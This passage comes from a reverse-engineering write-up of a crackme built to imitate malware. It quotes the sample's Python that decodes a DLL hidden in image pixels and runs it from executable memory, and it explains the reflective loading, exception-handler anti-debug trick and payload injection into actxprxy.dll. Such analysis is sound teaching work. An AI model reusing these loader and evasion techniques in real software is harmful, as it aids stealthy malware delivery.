<p>The “malware” then reads the <b>Red, Green and Blue components of each of the image’s pixels</b>, interprets them as <b>bytes </b>and constructs a buffer from their concatenation.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">get_encoded_data</span>(bytes):
    imo = Image.open(io.BytesIO(bytes))
    rawdata = list(imo.getdata())
    tsdata <span style="color: blue;">= </span>''
    <span style="color: blue;">for </span>x <span style="color: blue;">in </span>rawdata:
        <span style="color: blue;">for </span>z <span style="color: blue;">in </span>x:
            tsdata += chr(z)
    <span style="color: blue;">del </span>rawdata
    <span style="color: blue;">return </span>tsdata</pre>
<pre></pre>
</div>
<p>This technique is sometimes used by real malware to download malicious code <b>without raising suspicion of traffic-analysis tools</b>, hiding the real nature of the downloaded resource.<br />
Using the “Extract data…” function of the <b>Stegsolve</b> tool  allows to quickly preview the data encoded in the image, which appears to be a PE file (and more specifically, a DLL):</p>
<figure id="post-15609 media-15609" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15609 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png" alt="" width="640" height="494" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Output of the stegsolve tool</span></i></div>
<p>The function <b>is_valid_payl()</b> is then used to check whether the decoded payload is correct:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">is_valid_payl</span>(content):
    <span style="color: blue;">if </span>get_word(content) != <span style="color: red;">23117</span>:
        <span style="color: blue;">return False</span>
    next_offset = get_dword(content[<span style="color: red;">60</span>:])
    next_hdr = content[next_offset:]
    <span style="color: blue;">if </span>get_dword(next_hdr) != <span style="color: red;">17744</span>:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">return True</span></pre>
</div>
<p>The<b> 23117 and 17744</b> constants represent the “MZ” and “PE” magic bytes present in the headers of a PE.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>&gt;&gt;&gt; import struct
&gt;&gt;&gt; struct.pack("&lt;H", 23117)
'MZ'
&gt;&gt;&gt; struct.pack("&lt;H", 17744)
'PE'</pre>
</div>
<p>The decoded file is then passed to the<b> load_level2()</b> function, which is a wrapper around <b>prepare_stage()</b>.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">load_level2</span>(rawbytes, bytesread):
    <span style="color: blue;">try</span>:
        <span style="color: blue;">if </span>prepare_stage(rawbytes, bytesread):
            <span style="color: blue;">return True</span>
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return False</span></pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">res </span>= memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return False</span>
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>This function starts by allocating enough space to store the downloaded code, using the VirtualAlloc API function call. The allocated space is <b>readable, writable and executable</b>, as the provided arguments reveal (12288 being equal to “MEM_COMMIT | MEM_RESERVE”, and 64 to PAGE_EXECUTE_READWRITE).<br />
The downloaded code is then written in the allocated space using the memmove function, and executed like a shellcode from offset 2.</p>
<p>To get a clean dump of the downloaded code (once decrypted), we <b>add a piece of code in the prepare_stage()</b> function, as follows:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    <span style="color: blue;">with </span>open("dumped_pe.dll", "wb") as f:
        f.write(content[:content_size])
        print "DEBUG : File dumped in dumped_pe.dll"
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return </span>False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>After re-executing the program, we observe that the obtained file is indeed a valid 32 bits Windows DLL:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ file dumped_pe.dll
dumped_file.ext: PE32 executable (DLL) (console) Intel 80386, for MS Windows</pre>
</div>
<p>Time for us to open our favorite disassembler !</p>
<h2>Downloaded DLL’s reverse-engineering</h2>
<p><b>Reflective loading</b><br />
From the offset 2 of the file, a little shellcode located in the DOS headers<b> transfers the execution</b> to another code that implements <b>Reflective DLL injection</b>. This technique is used to load the library itself from memory, instead of normally loading the DLL from disk using the LoadLibrary API call.<br />
&nbsp;</p>
<figure id="post-15611 media-15611" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15611 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png" alt="" width="640" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-437x81.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Disassembly of the first bytes of the downloaded DLL</span></i></div>
<p>The reflective loader’s code, located at 0x6E0, is documented in Stephen Fewer’s GitHub  and will not be described in this write-up. Since, in the end, the library is loaded by this mechanism as it would be after a normal LoadLibrary call, this downloaded file will be analyzed like a standard DLL in the rest of this write-up.</p>
<p>The list of exported functions being empty (except for the DllEntryPoint function), we start our analysis at the <b>entry point of the DLL</b>.</p>
<figure id="post-15613 media-15613" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15613 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png" alt="" width="400" height="43" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-71x8.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Exports list</i></span></div>
<p><b>Entry point</b><br />
Our first goal is to search for the <b>DllMain()</b> function from the entry point. If the reverser is not used to analyzing Windows DLLs, a simple way to start would be to open any random non-stripped 32bit DLL, which (with a little luck) would be compiled with the same compiler (Visual C++ ~7.10 here), and which would have a similar CFG structure for the DllEntryPoint function.<br />
An example of CFG comparisons between the analyzed DLL (left) and another non-stripped 32bit DLL (right) is presented below:<br />
&nbsp;</p>
<figure id="post-15615 media-15615" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15615 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png" alt="" width="640" height="298" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-410x191.png 410w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /><i></i></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DLLEntryPoints in our DLL v/s another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<figure id="post-15617 media-15617" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15617 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png" alt="" width="640" height="451" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-55x39.png 55w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DllMainCTRStartup in our DLL / in another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>This technique allows us to quickly find the DllMain function in our DLL, here being located at 0x10001170.<br />
<b>DllMain (0x10001170)</b><br />
The function starts by checking if it has been called during the first load of the DLL by a process, by comparing the value of the fdwReason argument  against the DLL_PROCESS_ATTACH constant.<br />
The DllMain() function then <b>registers two exception handlers</b> using the AddVectoredExceptionHandler  API call. The handlers are named <b>“Handler_0” and “Handler_1”</b> in the screenshot below:</p>
<figure id="post-15619 media-15619" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15619 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png" alt="" width="640" height="453" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-270x191.png 270w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-345x245.png 345w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>DllMain function</i></span></div>
<p>An exception is then manually raised using the “int 3” interruption instruction, triggering the execution of Handler_0.<br />
<b>Interlude: debugging a DLL in IDA Pro</b><br />
To make the reverse-engineering of some functions easier, debugging the code to observe function inputs and outputs can be an effective method.<br />
One simple way to <b>debug a DLL inside IDA </b>is to load the file as usual, then go to “Debugger -&gt;Process options&#8230;” and modify the following value:</p>
<ul>
<li>Application:
<ul>
<li> On a 64 bits version of Windows:
<ul>
<li>  “C:\Windows\SysWOW64\rundll32.exe” to debug a 32 bits library</li>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 64 bits library</li>
</ul>
</li>
<li> On a 32 bits version of Windows:
<ul>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 32 bits library</li>
<li>  Obviously, you cannot run (therefore debug) a 64 bits library on a 32 bits version of Windows</li>
</ul>
</li>
</ul>
</li>
<li> Parameters:
<ul>
<li>  “PATH_OF_YOUR_DLL”,functionToCall [function parameters if any]</li>
</ul>
</li>
</ul>
<p>Note: The file extension <b>must be “*.dll” </b>for rundll32.exe to accept it.</p>
<figure id="post-15621 media-15621" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15621 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png" alt="" width="320" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>IDA &#8220;Process options&#8230;&#8221; menu</i></span></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>To test the configuration, just place a <b>breakpoint </b>at the entry point of the DLL:</p>
<figure id="post-15623 media-15623" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15623 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png" alt="" width="640" height="353" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-346x191.png 346w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-71x39.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Placing a breakpoint on the entry point</i></span></div>
<p>Run your debugger (F9). If configured correctly, your debugger should break at the DLL entry point, allowing you to debug any DLL function</p>
<p><b>Handler_0 (0x10001260)</b><br />
Looking at Handler_0’s CFG (given below), we see that the function calls <b>two unknown functions </b>(0x100092C0 and 0x1000E61D). To quickly identify these functions, let’s debug the DLL, and look at the functions inputs/outputs:</p>
<p><u>sub_100092C0</u></p>
<figure id="post-15625 media-15625" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15625 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png" alt="" width="178" height="91" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png 178w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21-71x36.png 71w" sizes="auto, (max-width: 178px) 100vw, 178px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Function sub_100092C0() call</span></i></div>
<p>The function seems to take 3 arguments:</p>
<ul>
<li>A buffer (here named “Value”);</li>
<li>A value (here 0);</li>
<li>The size of the buffer (here 0x104).</li>
</ul>
<p>Let&#8217;s look at the buffer’s content <b>before and after the function call</b>:</p>
<figure id="post-15627 media-15627" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15627 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png" alt="" width="320" height="134" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>&#8220;Value&#8221; buffer before and after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>memset </b>function.<u><br />
</u><br />
<u>sub_1000E61D</u></p>
<figure id="post-15629 media-15629" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15629 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png" alt="" width="207" height="110" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png 207w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23-71x39.png 71w" sizes="auto, (max-width: 207px) 100vw, 207px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Function sub_1000E61D() call</i></span></div>
<p>The function seems to take 4 arguments:</p>
<ul>
<li>An <b>integer </b>(here the PID of the process);</li>
<li>A <b>buffer </b>(here named “Value”);</li>
<li>The <b>size of the buffer</b> (here 0x104);</li>
<li>A <b>value </b>(here 0xA, or 10).</li>
</ul>
<p>Looking at the provided buffer’s content after the function call, we see that the representation in base 10 of the first integer passed in parameter is written in the provided buffer.</p>
<figure id="post-15631 media-15631" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15631 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png" alt="" width="214" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png 214w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-156x121.png 156w" sizes="auto, (max-width: 214px) 100vw, 214px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Value buffer after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>_itoa_s</b> function .</p>
<p><u>Handler_0 whole CFG and pseudo-code</u><br />
Here is the graph of the Handler_0 function:</p>
<figure id="post-15633 media-15633" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15633 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png" alt="" width="400" height="365" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-209x191.png 209w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-43x39.png 43w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15675 media-15675" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15675 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png" alt="" width="400" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-300x191.png 300w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-61x39.png 61w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</figure>
</figure>
<figure id="post-15635 media-15635" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of function Handler_0()</i></span></div>
<p>This corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if isloaded(“python.dll”):
   pid = getpid()
else:
   pid = 0
setEnvironmentVariable(“mb_chall”, str(pid))
return EXCEPTION_CONTINUE_SEARCH</pre>
</div>
<p>The function<b> checks the presence of the python27.dll</b> library (normally loaded by the main program mb_crackme_2.exe) in the process address space, and sets the <b>“mb_chall” environment variable </b>consequently.<br />
This may be seen as an “anti-debug” trick, because running the DLL independently in a debugger makes the execution follow a different path.</p>
<p><b>Handler_1 (0x100011D0)</b><br />
The code of this handler is quite self-explanatory, being similar to the previous handler’s code:</p>
<figure id="post-15635 media-15635" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15635 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png" alt="" width="400" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-45x39.png 45w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15677 media-15677" class="align-none"><img loading="lazy" decoding="async" class="alignnone wp-image-15677 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png" alt="" width="400" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-63x39.png 63w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Once again, this corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if getpid() == int(getenv(“mb_chall”):
   tmp = 6
else:
   tmp = 1
exceptionInfo-&gt;Context._Eip += tmp
return EXCEPTION_CONTINUE_EXECUTION</pre>
</div>
<p>After this handler, execution restarts at the address of original interruption (“int 3”) +1 or +6 (as presented in the pseudo-code above), whether performed checks pass or not.</p>
<figure id="post-15637 media-15637" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15637 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png" alt="" width="640" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-71x17.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>We thus continue the analysis at the <b>not_fail function</b> (0x100010D0).</p>
<p><b>not_fail (0x100010D0)</b><br />
The function only starts a thread and waits for it to terminate.</p>
<figure id="post-15639 media-15639" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15639 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png" alt="" width="319" height="231" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png 319w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-54x39.png 54w" sizes="auto, (max-width: 319px) 100vw, 319px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of not_fail() function</i></span></div>
<p>The created thread executes the <b>MainThread</b> (0x10001110) function, where our analysis continues.</p>
<p><b>MainThread (0x10001110)</b><br />
The function loops and calls the <b>EnumWindows</b>  API every second, which in turn calls the provided callback function (<b>EnumWindowsCallback</b>) on every window present on the desktop.<br />
<b><br />
</b></p>
<figure id="post-15641 media-15641" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15641 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png" alt="" width="284" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png 284w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-136x191.png 136w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-28x39.png 28w" sizes="auto, (max-width: 284px) 100vw, 284px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of MainThread() function</i></span></div>
<p><b>EnumWindowsCallback function (0x10005750)</b><br />
The function, called on each window, uses the <b>SendMessageA</b>  API with the WM_GETTEXT message to retrieve the window’s title.</p>
<figure id="post-15643 media-15643" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15643 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png" alt="" width="320" height="175" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in MainThread()</i></span></div>
<p>After being converted to C++ std::string, the substrings <b>“Notepad”</b> and <b>“secret_console”</b> are searched in the window’s title.</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15645 media-15645" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15645 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png" alt="" width="363" height="404" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png 363w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-172x191.png 172w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-35x39.png 35w" sizes="auto, (max-width: 363px) 100vw, 363px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Strings &#8220;Notepad&#8221; and &#8220;secret_console&#8221; searched for in window title</i></span></div>
<p>If both substrings are present, the window’s title is replaced by the hardcoded string <b>“Secret Console is waiting for the commands&#8230;”</b>, using the SendMessageA API along with the WM_SETTEXT message. The window is placed to the <b>foreground,</b> using the ShowWindow API call.</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15647 media-15647" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15647 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png" alt="" width="295" height="330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-171x191.png 171w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-35x39.png 35w" sizes="auto, (max-width: 295px) 100vw, 295px" /></figure>
<p><span style="font-size: x-small;"><i>Modification of the window&#8217;s title using SendMessageA()</i></span>
</div>
<p>The PID of the process corresponding to the window is then written in the “malware”’s console, and sub-windows of this window are enumerated, using the EnumChildWindows  API.The function <b>EnumChildWindowsCallback</b> (0x100034C0) is thus called on every sub-window.</p>
<figure id="post-15649 media-15649" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15649 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png" alt="" width="438" height="309" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png 438w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-55x39.png 55w" sizes="auto, (max-width: 438px) 100vw, 438px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>EnumChildWindows() function call</i></span></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i> </i></span></div>
<p><b>EnumChildWindowsCallback function (0x100034C0)</b><br />
This function gets the content of the sub-window using the SendMessageA API call:</p>
<figure id="post-15651 media-15651" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15651 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png" alt="" width="436" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png 436w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-375x191.png 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-71x36.png 71w" sizes="auto, (max-width: 436px) 100vw, 436px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in EnumChildWindowsCallback() function</i></span></div>
<p>The substring <b>“dump_the_key”</b> is then searched in the retrieved content:</p>
<figure id="post-15653 media-15653" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15653 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png" alt="" width="328" height="254" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png 328w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-155x120.png 155w" sizes="auto, (max-width: 328px) 100vw, 328px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Search for &#8220;dump_the_key&#8221;</i></span></div>
<p>If this string is found, this function calls a decryption routine <b>decrypt_buffer()</b> (0x100016F0) on a buffer (encrypted_buff), using the string “dump_the_key” as argument.</p>
<figure id="post-15655 media-15655" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15655 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png" alt="" width="514" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png 514w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-391x191.png 391w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-71x35.png 71w" sizes="auto, (max-width: 514px) 100vw, 514px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Decrypting a hardcoded buffer using &#8220;dump_the_key&#8221; as key</i></span></div>
<p>Then, the “malware” loads the <b>actxprxy.dll </b>library into the process memory space. The first 4096 bytes (i.e. the first memory page) of the library is made writable using the VirtualProtect API call, and the decrypted payload is written at this location.</p>
